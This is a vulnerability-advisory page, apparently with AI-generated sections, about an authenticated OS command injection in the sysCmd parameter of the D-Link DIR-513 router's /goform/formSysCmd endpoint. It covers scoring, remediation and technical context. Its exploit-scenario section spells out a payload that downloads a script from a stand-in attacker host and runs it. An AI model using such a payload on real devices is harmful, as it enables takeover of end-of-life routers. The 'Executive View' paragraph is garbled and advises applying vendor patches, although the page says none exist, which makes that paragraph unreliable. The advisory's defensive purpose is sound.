Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While the CVSS 3.1 base score of 6.3 (Medium) reflects a network-accessible vulnerability requiring low privileges (authenticated access), multiple risk factors elevate real-world concern: the published proof-of-concept code substantially increases exploitation probability despite the moderate CVSS vector (AV:N/AC:L/PR:L/UI:N), the device is end-of-life with no vendor patches forthcoming, and many organizations retain legacy routers in production without active monitoring or patching cycles. The PR:L (requires authentication) and AC:L (low complexity) factors suggest that any authenticated user or compromised account on the management interface can trigger the flaw, potentially lowering the practical barrier if default credentials or local network access is available. From an SSVC perspective, this vulnerability presents high automatable technical impact (full command execution as root/system user) but is contingent on authentication; the combination of legacy hardware, public POC, and irreversible end-of-life status means organizations running DIR-513 should treat this as a critical control gap rather than a patchable issue, necessitating hardware replacement or network segmentation rather than traditional patching. |
| Exploit ScenarioDerived | An attacker with valid credentials to the DIR-513's web administration interface (obtained through password guessing against default credentials, credential reuse, or network proximity on a corporate wireless network) navigates to or submits a crafted request to /goform/formSysCmd with a malicious sysCmd parameter such as 'ping%20-c%201%20127.0.0.1;%20wget%20http://attacker.com/malware.sh%20-O%20/tmp/x.sh;%20sh%20/tmp/x.sh' (URL-decoded: ping -c 1 127.0.0.1; wget http://attacker.com/malware.sh -O /tmp/x.sh; sh /tmp/x.sh), and the vulnerable endpoint executes the injected shell commands without validation, allowing remote code execution. Given the low complexity (AC:L) and published POC availability, a motivated attacker can weaponize this flaw in seconds, making any DIR-513 in production an immediate lateral movement or persistence foothold if the router sits on the internal network or serves as a gateway device. |
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Alert meAnalysisAIv1 – Mar 20, 2026
OS command injection in D-Link DIR-513 1.10 via the /goform/formSysCmd endpoint allows authenticated remote attackers to execute arbitrary commands with network access. The vulnerability stems from insufficient input validation of the sysCmd parameter and has public exploit code available. No patch is available, and affected devices are no longer supported by D-Link.
Earlier versions of this analysis (1)
A command injection vulnerability exists in the D-Link DIR-513 router (version 1.10) within the /goform/formSysCmd endpoint, where the sysCmd parameter fails to properly sanitize user input, allowing authenticated remote attackers to execute arbitrary operating system commands with router privileges. The vulnerability has a published proof-of-concept exploit available and affects only end-of-life firmware versions no longer receiving vendor support, creating a persistent risk for organizations still operating legacy DIR-513 hardware.
RemediationAI
Immediate action is required despite the lack of vendor patches: discontinue use of D-Link DIR-513 devices and replace them with current, actively maintained access point or routing hardware from vendors with established security update processes. Organizations unable to immediately hardware-replace DIR-513 units should implement compensating controls including complete network isolation of the device (place on a segregated management VLAN with strict access control lists), disable remote management access entirely, enforce strong authentication on any local management interfaces, and monitor network traffic from the device for signs of command injection exploitation or data exfiltration. Do not rely on firmware updates or configuration workarounds, as the underlying architectural flaw cannot be reliably patched on end-of-life hardware. For temporary risk reduction pending replacement, restrict access to the /goform/formSysCmd endpoint via firewall rules at the network perimeter and consider blocking outbound connections from the device to limit the impact of compromised command execution.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability is rooted in improper input validation of the sysCmd parameter passed to the formSysCmd handler in the D-Link DIR-513's web administration interface, classified as CWE-77 (Improper Neutralization of Special Elements used in a Command). The affected device is a small-office/home-office (SOHO) router running embedded Linux-based firmware version 1.10, which processes user-supplied command arguments without adequate escaping or sandboxing before passing them to shell execution functions. The vulnerability chain involves the web application accepting authenticated requests to /goform/formSysCmd, parsing the sysCmd POST/GET parameter, and directly interpolating it into a system call without filtering shell metacharacters (pipes, semicolons, backticks, command substitution syntax). The D-Link DIR-513 is a legacy access point device; the specific CPE would be cpe:2.3:h:dlink:dir-513:1.10 or similar hardware designation combined with firmware versioning.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionCVE.org
A flaw has been found in D-Link DIR-513 1.10. The impacted element is an unknown function of the file /goform/formSysCmd. Executing a manipulation of the argument sysCmd can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used. This vulnerability only affects products that are no longer supported by the maintainer.
Executive ViewAI
Organizations using A flaw should be aware of moderate risk from CVE-2026-4465, a command injection vulnerability rated CVSS 6.3. Exploitation could allow attackers to execute code or inject malicious input. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: deploy WAF rules, restrict network access, enable logging.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
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EUVD-2026-13482
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